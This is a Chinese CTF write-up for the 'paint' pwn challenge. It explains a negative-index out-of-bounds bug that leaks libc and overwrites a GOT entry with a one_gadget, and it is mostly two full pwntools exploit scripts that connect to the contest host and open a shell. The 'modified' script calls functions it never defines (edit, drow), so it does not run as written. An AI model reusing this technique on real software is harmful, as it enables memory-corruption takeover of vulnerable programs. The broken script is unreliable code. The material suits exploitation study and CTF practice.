题目:paint 附件: 本链接地址+ paint.zip

dockerfile使用

执行命令进行构建

[root@docker Dockerfile]#docker build -t ctfpwn .
上条命令中build为构建镜像,而参数t则指定镜像name,.则为Dockerfile的路径

进去后找libc

1
2
3
4
5
6
7
8
9
10
11
12
root@ff854125b9c3:/# chmod +x /lib/x86_64-linux-gnu/libc.so.6
root@ff854125b9c3:/# /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

后面可以上脚本搭建环境调试, 准备好自己那个脚本

glibc-allinone的源有时候不行,找到了一个有的

https://ubuntu.repo.cure.edu.uy/mirror/pool/main/g/glibc/

思路

画布结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                    +---------+----------+--------------------+
| | |
| | chunk head |
| | |
+---------+----------+-----------------+--+
canvas[idx] -> +---------+----------+--------------------+
| | |
| v3 v2 | v0+8 malloc canvas |
| | |
+---------+----------+-----------------+--+
canvas[idx] + 16 -> +---------+----------+--------------------+
| | |
| rate | comment addr |
| | |
+---------+----------+-----------------+--+



泄漏libc地址

数字不一定是正的,可以输入负的!!! 注意学习这种漏洞思维, 可以看到canvas前面有libc的函数,可以利用这个来泄漏地址

image-20230926190630226

修改got表指针为onegadget

​ 其实本质就是利用负数溢出,让操作以为是在操作堆块,找到对应的位置进行操作即可,

​ rate(-8,0x222,’\x08\x01’*4+p64(addr))

​ 这里的话,会把-8这个位置当成画布结构数据区开头, 第一个圈起来的位置则是存放comment chunk 地址的,然后再给comment赋值’\x08\x01’*4+p64(addr)

image-20230926192156596

​ draw(-5,p64(one)) -5是红色位置,这里又把-5开始的位置当成了画布结构的数据区开头 在draw函数里就是canvas[idx],这是画布的上层结构,而画布内容的存储位置是蓝色的, 这里就可以对蓝色指向的地址进行修改了,也就是got表

image-20230928172822667 image-20230928172835585

​ 往画布里,也就是got表进行修改, 改成onegadget

image-20230928153346749

​ (这里地址不对,不是同一次调试的,gdb里有pie),但是原理一样,read后,把got表改成了onegadget

image-20230926192740096

exp

python2版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
#elf=ELF('pwn')

libc=ELF('libc.so.6')
#p=process('./vuln')
#p=process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru',13003)
def add(id,wid,hei):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter canvas width (1-255): ')
p.sendline(str(wid))
p.recvuntil('Enter canvas height (1-255): ')
p.sendline(str(hei))
def resize(id,wid,hei):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter new width (1-255): ')
p.sendline(str(wid))
p.recvuntil('Enter new height (1-255): ')
p.send(str(hei))
def draw(id,data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('` chars in `height` lines):')
#for i in range(wid):

p.send(str(data))
def delete(id):
p.recvuntil('> ')
p.sendline('6')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
def show(id):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
def comment(id,x,rate):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter rate: ')
p.sendline(str(x))
p.recvuntil('ment (y/n): ')
p.sendline('y')
p.recvuntil('r your comment: ')
p.sendline(str(rate))


#泄漏地址
show(-2)
p.recv(0xf)
leak=u64(p.recv(8))-0x1300
libcbase=leak-(0x7ffff7fad780-0x00007ffff7d93000)
print hex(leak)
print hex(libcbase)

addr=libcbase+0x219098
edit(-8,0x222,'\x08\x01'*4+p64(addr))

#system=libcbase+libc.sym['/bin/sh\x00']

one=libcbase+0xebcf8
drow(-5,p64(one))
p.interactive()

上述是修改过的,下面是队友原exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
#elf=ELF('pwn')

libc=ELF('libc.so.6')
#p=process('./vuln')
#p=process('./pwn',env={'LD_PRELOAD':'./libc.so.6'})
p=remote('paint-71ae86dc10a3fe17.brics-ctf.ru',13003)
def add(id,wid,hei):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter canvas width (1-255): ')
p.sendline(str(wid))
p.recvuntil('Enter canvas height (1-255): ')
p.sendline(str(hei))
def re(id,wid,hei):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter new width (1-255): ')
p.sendline(str(wid))
p.recvuntil('Enter new height (1-255): ')
p.send(str(hei))
def drow(id,data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('` chars in `height` lines):')
#for i in range(wid):

p.send(str(data))
def delete(id):
p.recvuntil('> ')
p.sendline('6')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
def show(id):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
def edit(id,x,rate):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('Enter idx: ')
p.sendline(str(id))
p.recvuntil('Enter rate: ')
p.sendline(str(x))
p.recvuntil('ment (y/n): ')
p.sendline('y')
p.recvuntil('r your comment: ')
p.sendline(str(rate))

add(0,8,1)

#edit(0,0x20,'a'*0x10)
#re(0,0x21,0x20)
#show(-8)
#
#add(1,1,0xf)
show(-2)
p.recv(0xf)

leak=u64(p.recv(8))-0x1300
libcbase=leak-(0x7ffff7fad780-0x00007ffff7d93000)
print hex(leak)
print hex(libcbase)
#attach(p,'b *0x00005555555557a3')
pause()
#delete(0)
#add(0,0xf0,0xf0)
addr=libcbase+0x219098
edit(-8,0x222,'\x08\x01'*4+p64(addr))

#system=libcbase+libc.sym['/bin/sh\x00']

one=libcbase+0xebcf8
drow(-5,p64(one))
p.interactive()